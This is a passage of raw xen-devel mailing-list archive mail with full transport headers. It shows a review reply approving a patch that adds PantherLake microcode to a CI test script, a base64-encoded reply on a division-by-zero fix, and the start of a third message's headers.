 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 18:24:17 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4e79a5-e002-0a2a0a5209dd-0a2a45039ef6-4
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 18:24:17 +0200
Received: from [103.168.172.148] (helo=fout-a5-smtp.messagingengine.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4e79af-ec1a-0a2a45030019-67a8ac94e659-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 18:24:16 +0200
Received: from phl-compute-09.internal (phl-compute-09.internal [10.202.2.49])
 by mailfout.phl.internal (Postfix) with ESMTP id A894BEC008B;
 Wed,  8 Jul 2026 12:24:15 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-09.internal (MEProxy); Wed, 08 Jul 2026 12:24:15 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Wed,
 8 Jul 2026 12:24:14 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm1 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm1; t=1783527855;
	 x=1783614255; bh=Qc0d4sWwqqkYotZzMnl690e/5aTEieZ0dM3nOJFia9E=; b=
	Mdo8fuMLlGeWfucTIBGQJi0BDAfW/X69GnM67SGgct8zEUWz4Wqm3FsC8ZrV6bw9
	zwhm2A/FgdLDSrS1uQlhhE+BPlzNW4LlBghpufJ5uSdtWDOhIQ+TghZ75O14bYF2
	DmrZcA4ykN6/46acQgik1Rw5gIfMoNAr0KSdwlOy2wjuYivsVLDmVFbQlcsEH/X3
	y+hfiLZNYijA85XKsqm+abftdhKERB6O2hEG4WtZTuMndUmpMvOkoivBRt+90wI5
	ndTG76pqTFI5l79iv4xFgZY6250q22or9l0cgMl1gf/Y5ktPbRmQD2pOWhMdRGp1
	ySdvI9bzNOXU4pS7l9CHgQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1783527855; x=1783614255; bh=Qc0d4sWwqqkYotZzMnl690e/5aTEieZ0dM3
	nOJFia9E=; b=q2We3xULxD3dZQ4DRrsQuEFUc5Dejtxa5/vT/JW+5l+DvbhcZNz
	C/28K9KbJOD7sV1NQzGeA6rm+RJimj5CgmNRe1D4ufBJtEP/Wyk2fvYItNDSIFHE
	bALNVqVIjozXIrzOnLd9coVOmb3ary9J6YU7IUYWrLWvhoFa5+kakIUySgaxqlp7
	NKOw+QifsbJHgBueeh+Wzi5H6w2PEe8jDzsHYRhgey/D3um8fO2wsgXQ6RFoqnii
	zWacXWDU87OfvyKhDthhph6JqrcwOLh05dST/39z8zZ2teYGR1PXrNDwiQ8PrWLf
	wxag0yM3ck09C0NiLVd8A1uSF2gmHIefNTg==
X-ME-Sender: <xms:r3lOauhiIu1IThHPcmKIcqlbPH5sYWbiAwvYRayTL4VcO4d_wSzHww>
    <xme:r3lOaivO0THZ0y8H2OvgRECJavOItpsfABfUXClXEbS4vbtrdfw9T3TVQtY59F3Ya
    fkDSTsgtnLeqPnmEZal5xXWVPR1yGTf36mZOyiL2ya1MYMTzw>
X-ME-Received: <xmr:r3lOav7E9lctyQtYstIgVf58JwnvTDBmQ9j4YZOmDaQRwQgctAg5i7svobguKmYdmyCMVBOZ5Hto1f2z3QepmwgmuLZthPovWjU>
X-ME-Proxy-Cause: dmFkZTGX/PPuNqUKyfehzhdebfKiWdOlOpyAmB7Gn0JAyFL/NDU1zTEaO+BRnVTtMZ+Bov
    kMZvNn1rd0DNcWgs88B8/A0TUS9cLUB6GkfA0mMhtrYGhbVOfaW5VpkYVua2LR5aD8iJK3
    W1jy0SvO8NyOohowBjFQnXjOyJHGB5EZdaq2/93sClFrIrTD7MHzeUXPNzMNncUhs55/si
    m8FpTnhc7d/dWYnJ8DeGVm1tA7d89DPIKHzb4XM54ncelOzgeOn+6S99W2rsK5wOPLI2RB
    mV9C3GwBJv5u0P+L7NT5RpgLfWQdy9yKkAZyf7NTtlAd1e1Dgmbj3u661oW8O1t5XTUvEn
    EyNKbpbIlhmXU/yaW9352W76EY6vDBhweL+aPSBKIHaqeNriapfqpfqkAgnC5RR4aV7mO0
    S2fpqkfNysMyCKgUI/F7IDX1HgQRvZSxxOliCQcQwl4CRs9dS/na2fG9VzDz8A8TscmUdz
    xRbYouennlZzbb5L/Fn0pnDVG7XEk9odKCRu6nk4XSk0RyYONe+n/03H5G0quqhtDTqPJT
    Ap04dB5gO/2sEy9SXGr6zeaQ024inQYN7OehiOpL6GMk6aYKuKLH7qw0n7/5OY8SeCuwh/
    UKq6UYhpRLIb9uuJWbDQoO1eDJfdvxSNz5L4cA/bFEPuKmueA8mUbsnzXXSQ
X-ME-Proxy: <xmx:r3lOauODI-sMx1Pv6IhJNIDYlGvoQRaz9O_d6jegEk_kxc_PEqObDw>
    <xmx:r3lOatvoVtwVD3GdOp2H_bYHmUrADbdF2g5XJNYaJmyv3joeHUI8sA>
    <xmx:r3lOahYGSgnhg6wG4z1K4j3RneGzrXeZm8hiXpOkxxAUmu6UwY-rpg>
    <xmx:r3lOavzRTDRllOQB_eH8G5pO-aPGxx_8DLuc7yQPbOjUiMi3ihaIzA>
    <xmx:r3lOanz4LJm5whRfuTkLSAwbvxwZ8ViZC4tTVPmA_yfIcRBveG31mkgm>
Feedback-ID: i1568416f:Fastmail
Date: Wed, 8 Jul 2026 18:24:10 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Michal Orzel <michal.orzel@amd.com>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH TEST-ARTEFACTS] Add PantherLake microcode
Message-ID: <ak55rFeP3DPEg6vm@mail-itl>
References: <20260708145623.1441067-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="tS1ZpbeSmUBY6q4r"
Content-Disposition: inline
In-Reply-To: <20260708145623.1441067-1-andrew.cooper3@citrix.com>
X-purgate-ID: tlsNG-33051d/1783527857-B652F5D1-386BB2B7/0/0
X-purgate-type: clean
X-purgate-size: 2592


--tS1ZpbeSmUBY6q4r
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Wed, 8 Jul 2026 18:24:10 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Michal Orzel <michal.orzel@amd.com>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH TEST-ARTEFACTS] Add PantherLake microcode

On Wed, Jul 08, 2026 at 03:56:23PM +0100, Andrew Cooper wrote:
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblethingslab.c=
om>

And it seems to already apply to the new runner:
https://gitlab.com/xen-project/people/marmarek/xen/-/pipelines/2662156525

    (XEN) [0000001882e96f95] microcode: CPU0 updated from revision 0x115 to=
 0x11b, date =3D 2026-03-24

> ---
> CC: Anthony PERARD <anthony.perard@vates.tech>
> CC: Stefano Stabellini <sstabellini@kernel.org>
> CC: Michal Orzel <michal.orzel@amd.com>
> CC: Doug Goldstein <cardoe@cardoe.com>
> CC: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblethingslab.com>
> ---
>  scripts/x86-microcode.sh | 1 +
>  1 file changed, 1 insertion(+)
>=20
> diff --git a/scripts/x86-microcode.sh b/scripts/x86-microcode.sh
> index cb55a3bd2d52..7442e0ae9671 100755
> --- a/scripts/x86-microcode.sh
> +++ b/scripts/x86-microcode.sh
> @@ -21,6 +21,7 @@ tar xf intel-latest.tar --strip-components=3D1
>      cd intel-ucode
>      cat 06-97-02 # adl-*
>      cat 06-8e-09 # kbl-*
> +    cat 06-cc-03 # ptl-*
>  ) > "${UCODEDIR}/GenuineIntel.bin"
> =20
>  #
>=20
> base-commit: fe26bfd25cf09cd5ad11ecdf69699d3dde2c865d
> --=20
> 2.39.5
>=20

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--tS1ZpbeSmUBY6q4r
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpOeawACgkQ24/THMrX
1ywQrAf9GkklBAN8hwIP/mn8GSi079iaxTpVKA6DpkBgExZ7Sii1WfCwBJyAxJeb
K9/iO736Eku+U1YsOch6VSl5aY+N5mPxP8Wdoq0VIQeORzieIVGqWeAfWOyfsYpO
qd2WXiRNdnqLzncETXwIKpfXhzZEtgHLsZLgyDDbjD+rw1IsyIAIQHSsm4xyQuAl
QlyEOJ1l/B8VCqTX9HpFjUUcRi2/K1CJlQFAf9yinEbl8+AzjsfgAH3ZuLmv8Tue
6w1Q2Al/5Q3pL18hN5qMqDZ6T2w4CX9ROhXhzyRohIJHztQKVPnM62egJiYi05Y8
bDvVbpy6K61X7bW3glfmJvPYjlE4+Q==
=Fxos
-----END PGP SIGNATURE-----

--tS1ZpbeSmUBY6q4r--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 17:05:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 17:05:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357229.1611708 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whVhc-0003oJ-P5; Wed, 08 Jul 2026 17:04:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357229.1611708; Wed, 08 Jul 2026 17:04:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whVhc-0003oC-LM; Wed, 08 Jul 2026 17:04:52 +0000
Received: by outflank-mailman (input) for mailman id 1357229;
 Wed, 08 Jul 2026 17:04:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whVha-0003o4-S7
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 17:04:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whVha-00Aj4E-7m
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 19:04:50 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4e832d-e002-0a2a0a5209dd-0a2a450ad5c0-12
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:04:50 +0200
Received: from [40.107.162.119]
 (helo=PA4PR04CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4e832f-e40e-0a2a450a0019-286ba277bafb-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:04:50 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by DU6PR03MB10944.eurprd03.prod.outlook.com (2603:10a6:10:5c0::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 17:04:44 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.012; Wed, 8 Jul 2026
 17:04:44 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=r3jlayRDTQb3ORW2IufTfmVlGYmPh8no6TwWy+N9aBxa5/VgrGbcSU3jqXQrUCMl73ryxG8LKe13Ev0Caxxmw4EtdC53BiDR6BJuHRTXMNbPDQ2WC6QOn9srZu3i1Re255EI6sij9mUs1rJ7ogCsRBEy09bWpr+qXzize0WmGnM9z29srx3Pw6iAUJcajC4lGw0hEkJ4zfx19aNM92apzwvmUQfARg23gEpAKjAEHGeHj+I7afKeQ8U1svExH6LPId8RKkMhYrNmADWwxbB9aK2nesmlHOe9qig9gvR7CK7rq6jSsxBaWv1A3mWjj24Y6OGRR87psYT/gPVqq1JAmw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=uikqKhueURthZnybTA74Ibzy5r7ysbLJVb6DmVx4+C0=;
 b=cm/8O8rDy16/z2oeisYPFm8+7xxXPiz+81f0O3/3XPbXnlD1AEkBdser0wFna2Iw6WOPwhgrrudJQCo/Pt8Xk+axaTW5wU3k8fa9aQI9oWCtPHKGSLZZ+USxRVGR0ODz2k4I5QB+zMjJD+YD3D8g0YI/8JPAcLb3N0wgwEkp6l061bO638fVXWp344MkdU284AaiHOVEBeS/5rw+jwoLPp33SNm97+62h7xYz9dTpD2UVuzN44F3POFPKuRgXTLpkZYKxU/BLZgGXAUcyzls2zt5CpszGy2zxYENlqowY/qEdXpzDdxwsV6t3Y4nTiuZhPre+UU077mYAbgUWLFnUA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=uikqKhueURthZnybTA74Ibzy5r7ysbLJVb6DmVx4+C0=;
 b=TFoiNF+WlU2X5mDIttazrLUHDxiNxXeamatIOCsi25rvW5oQiwwt2yXkjtcwnY6K1rxF5IXpNrNLvoP+ynTLMl6W8tiCsedoGEfnzX+zh+n8qw6gR3sJpL3qcWETZp7kbKl3KoFkPQT5LoH2pTjdCLhMhTeQMP264/7PptWicRF+0gMhbidkk4T/YY35gXvFLuB3kZxbkBo98Lv4GLcpQRe1duDyGhm9hzWyoCt2W1p1kNNFKz+rA7W/C7T9m4T2lCGnVFTj5KFmamYl5Jvx087EBinnMn3+WrL5RB+tlV+ecFlhmeSqc2IwHE1/Pa+qHXz9OtEvmzz5jK0HqYeYPw==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: Jan Beulich <jbeulich@suse.com>, Oleksii Kurochko
	<oleksii.kurochko@gmail.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: Re: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdDiOX7r4PlObs6ESPVB8UpORls7ZiOVkAgADswwCAALVbAA==
Date: Wed, 8 Jul 2026 17:04:44 +0000
Message-ID: <c8769518-3f84-4c73-920d-975b7efaaf92@epam.com>
References:
 <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
 <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
 <21ec0511-bf7e-44fa-b6f6-99d9c4085eda@suse.com>
In-Reply-To: <21ec0511-bf7e-44fa-b6f6-99d9c4085eda@suse.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|DU6PR03MB10944:EE_
x-ms-office365-filtering-correlation-id: c1714c0d-4a70-4486-7387-08dedd130230
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|376014|42112799006|23010399003|366016|56012099006|4143699003|11063799006|22082099003|18002099003|5023799004|38070700021;
x-microsoft-antispam-message-info:
 X/IlKJdTLKTw0QHvksihGlcvBm6DVsJhFLFcpD+A5FCDWeCiy3c46YQpXvOgYEgIpvHYSEXKGN73N2kutfN5DE2pludY9CiAX1/dMjJse6rUF2+8v+rsvWwcrUh28mjqv1I6Y17hrfZlKNHdtorbOHL+2EMEuzzqTvsM0K/ogZ/YAX918AMhchi+Y9C9B2xqBHuozRf2FoLir+UfFOCGbDGwGy4n0D7hIFU7S2/96rQ7WbW7rQEvWLeNFLYah3HKS+05LC/DDFAf+VJaqmVbsNWUnU8SqUoXGGQYC16F7PY4j3QiVXSlcaVcEooyBXP0+2hoqoek2KdRJJ25iDK6Jeb8WpF8t4gtrCHhzhUj9VTYFrWYcdm59MmPSjR2rqZMVAMIOs3Ung7vB+ep8473p/3mJTOn04k/q4quYKKQBT8j1bdQmWEmXG14X9C63ASyI3hNDLs/z+lTN1zQkH24HGryqDSz1EjwXYP1aSUP4XoXeFEomd1xuUpshUi2a1295/VGIhLcAjx1TvNhetmDoPSv2ovkbh6088/cUCf4HjAHkZ1IcX2Oe2G8ZaIAgsrIQ9nbySQBOyFJKm0RUCUXWZf/0Mamv99FdsJrUCQvf6FsJlPVB7z0wMCfHZzZl677INLvntkv8S9xxRdamG1e2cSnUivUFiqkZCAtwEBuSrleAke831vYN6b7FTUCEaehArm1CZ+5cbt6lZ/UX5GHTDeaWe7/w7wMjqtePaP0BdY=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(42112799006)(23010399003)(366016)(56012099006)(4143699003)(11063799006)(22082099003)(18002099003)(5023799004)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?Nk9jTU9rakxicFFIaUgvVHlSbzFwZ2VpanBGS0lZL1QrLzNDM1ppeVZuZGxQ?=
 =?utf-8?B?b1oxUVdBUlBqdzRoczRkSWc4VGNCejZEWExYREsyS3VOWFAwWmViVnMwR1g2?=
 =?utf-8?B?K2R0RDJzYkFoTHNvMGpadWZCOXBRd3c2dHhPT1BoVlRzSDJnMW1wenBMRWlF?=
 =?utf-8?B?M1lCTUdndFUwUkF2dTNnQ0VpWU1jaHRpdVMwd1RoVHcxSUh0MTJrdzBtSytr?=
 =?utf-8?B?VG96RGo5TjAwYllrUnBDN0VremhyLzNwL0V0OVBFamxqd296eW1VbTJwdld2?=
 =?utf-8?B?WFVOeVJPeHdMY2hjMjdBZ2I4eTduSllCWXJuVmQ2UGkrZmlPY0NuamNNTVRM?=
 =?utf-8?B?d0UrVndIRWFkRG5qeWJXQkFYZnBzSi8yWm9TMHRXV2s4cWlvTW04b2E1MDNt?=
 =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eGlGNGNoR0Fkb2VOd0V2QmJ6?=
 =?utf-8?B?dVJWeFVNRUdoNDlqTm0yZzZHd0RmcnhTR0VGU0tITHRXWjd1VWR0dEFHS0J5?=
 =?utf-8?B?cTJZdFNHQytvcnBVR3I0YlRZUGNwVVh5OVhVaS8wMWZIYUYyaTEvKzBGcVpn?=
 =?utf-8?B?MmpBdHFCZUlHYXFJZ0NsL1dmTnQrS2JoblpvOEtHRWpDVnhPNml3dDBpNHpt?=
 =?utf-8?Q?wuczFq3lv9IXhGKM=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <6F7F282121469144AFA9B96E2C347CCD@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: c1714c0d-4a70-4486-7387-08dedd130230
X-MS-Exchange-CrossTenant-originalarrivaltime: 08 Jul 2026 17:04:44.3997
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 3i5VjEkk8eeaQUToHjDH9RWz66B3/LqbCe/tUsrJ3d1PELr7yHyrhCkkfP7tJUprOTNfGc960c47AIFilAYwaqDg+b6M6xOywnoq08qNNzA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU6PR03MB10944
X-purgate-ID: tlsNG-4011c0/1783530290-D5726DDE-D8EB87A3/0/0
X-purgate-type: clean
X-purgate-size: 3720

SGVsbG8gSmFuLA0KDQpPbiA3LzgvMjYgMDk6MTUsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAw
Ny4wNy4yMDI2IDE4OjA4LCBPbGVrc2lpIEt1cm9jaGtvIH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ygd2h5IHNpemVvZig8ZXhwcmVzc2lvbj4pIGlzIHRvIGJlDQo+
IHByZWZlcnJlZCBvdmVyIHNpemVvZig8dHlwZT4pOiBXaGF0J3MgbWVhbnQgaGVyZSBpcyAtIGFm
YWljdCAtIHNpemVvZigqY2VsbCksDQo+IGkuZS4gc2l6ZW9mKF9fYmUzMikuIChJbW8gdXNpbmcg
c2l6ZW9mKCkgd2l0aCB0aGUgd3JvbmcgdHlwZSBpcyB3b3JzZSB0aGFuDQo+IHdyaXRpbmcgc2lt
cGx5IDQuKQ0KQWNrLg0KPiANCj4gSmFuDQoNCkJSLCBEbXl0cm8u


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 17:17:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 17:17:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357245.1611716 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whVtq-0006Tr-OP; Wed, 08 Jul 2026 17:17:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357245.1611716; Wed, 08 Jul 2026 17:17:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whVtq-0006Tk-LP; Wed, 08 Jul 2026 17:17:30 +0000
Received: by outflank-mailman (input) for mailman id 1357245;
 Wed, 08 Jul 2026 17:17:28 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <sstabellini@kernel.org>) id 1whVto-0006TZ-MP
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 17:17:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whVto-009H4K-3A
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 19:17:28 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a4e8616-e002-0a2a0a5209dd-0a2a4504af40-16
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:17:27 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a4e8626-a01d-0a2a45040019-aceafc1fe976-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:17:27 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id B212643AAC;
 Wed,  8 Jul 2026 17:17:25 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 5168F1F000E9;
 Wed,  8 Jul 2026 17:17:25 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:cc:Subject:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783531045;
	bh=Ge8ooVaW1Q9Agw4T66f0y/B7KixgqnMwwdAua40Ug5E=;
	h=Date:From:To:cc:Subject:In-Reply-To:References;
	b=gMXzUb3jUmME2yBlB7xl3pwqCp+cue6XcbjahuVPtkWVFgqHc2kE6rKOUW/VInz6z
	 tvR7sz54JkIbPGyJ4vXGYDn+o1Ih2D29uYtb8xtNp8WctuqOcmVFUBjxh8T5W60fbq
	 NTCUVigWC9E2AT9wgnRrSWuqrutwgFJp5GV+QOhhCQbH2I8Dq1FqWWtPFpn+PXy7dq
	 JXKQ4iJz4VSujB78/D6ufyD9W4r50dpZh4eMGT5VLBGtlrGftJ38E7YWJndsuHmmrL
	 /Qrv4zXP1+lYf/Q6fWqNWeS21thvhnb4eE40JrfReEZIhydb+lXesSHEuNVKvlqIEN
	 QoJgm/tk0PNxg==
Date: Wed, 8 Jul 2026 10:17:22 -0700 (PDT)
From: Stefano Stabellini <sstabellini@kernel.org>
X-X-Sender: sstabellini@ubuntu-linux-20-04-desktop
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
